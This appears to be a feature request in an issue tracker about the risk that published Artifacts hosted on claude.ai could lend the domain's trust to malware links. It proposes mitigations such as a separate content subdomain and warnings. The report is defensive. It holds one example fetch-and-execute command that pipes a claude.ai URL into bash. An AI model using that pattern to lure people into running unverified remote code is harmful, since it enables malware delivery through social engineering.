[Feature Request] Harden published Artifacts against "trusted-domain" social engineering / malware distribution

Context

The Artifact tool publishes content to a claude.ai-hosted URL (see also #74928, #72055, #76887 for related consent/hosting-assumption issues). This report raises a distinct angle: the trust properties of that domain itself.

The concern

Because a published Artifact lives under claude.ai, any link to it inherits the domain's reputation. An attacker can create an Artifact containing a malicious payload and share the resulting claude.ai URL with a victim, instructing them to run something like:

curl https://claude.ai/<artifact-id> | bash

Because the URL is visibly claude.ai — a domain most people (and many URL-reputation/email-security tools) recognize as legitimate/Anthropic-owned — victims are more likely to trust and execute it than a link on an unknown domain. This is a known attack pattern: raw.githubusercontent.com, Pastebin, and Discord's CDN have all been abused this way specifically because their domain reputation bypasses both human suspicion and automated URL-reputation filtering.

This is a different threat than browser-sandbox escape. Artifacts are reportedly rendered with a strict CSP and are expected to be self-contained (no external network calls), which is a reasonable mitigation for in-browser JS execution risks. But the curl | bash pattern above never touches the browser sandbox at all — the victim executes it directly in a terminal — so CSP/iframe sandboxing does nothing to stop it.

Questions / suggested mitigations

1. Does fetching a published Artifact URL directly (e.g. via curl, not through the claude.ai SPA) return raw, directly-executable text/script content, or only an HTML/JS shell that requires the app to render? If the former, that is the condition that enables this specific attack, and would be worth changing.
2. Consider serving Artifact/UGC content from a distinct subdomain rather than the apex claude.ai domain (the pattern used by raw.githubusercontent.com, googleusercontent.com, etc.), so links to user-generated content are visually and technically distinguishable from Anthropic's own domain, and can be scanned/rate-limited/revoked independently.
3. Consider a visible "this content was created by another user and is not verified by Anthropic" warning on shared Artifact pages, and/or basic abuse-content scanning for shell-executable payloads on publish.

Related issues

#74928, #72055, #76887, #76587 — related consent/hosting/sandbox threads; none of them address the domain-trust/social-engineering angle specifically, so filing this as a distinct report.

This is a design/threat-model observation based on known abuse patterns of trusted-domain UGC hosting elsewhere, not a demonstrated working bypass against Claude specifically.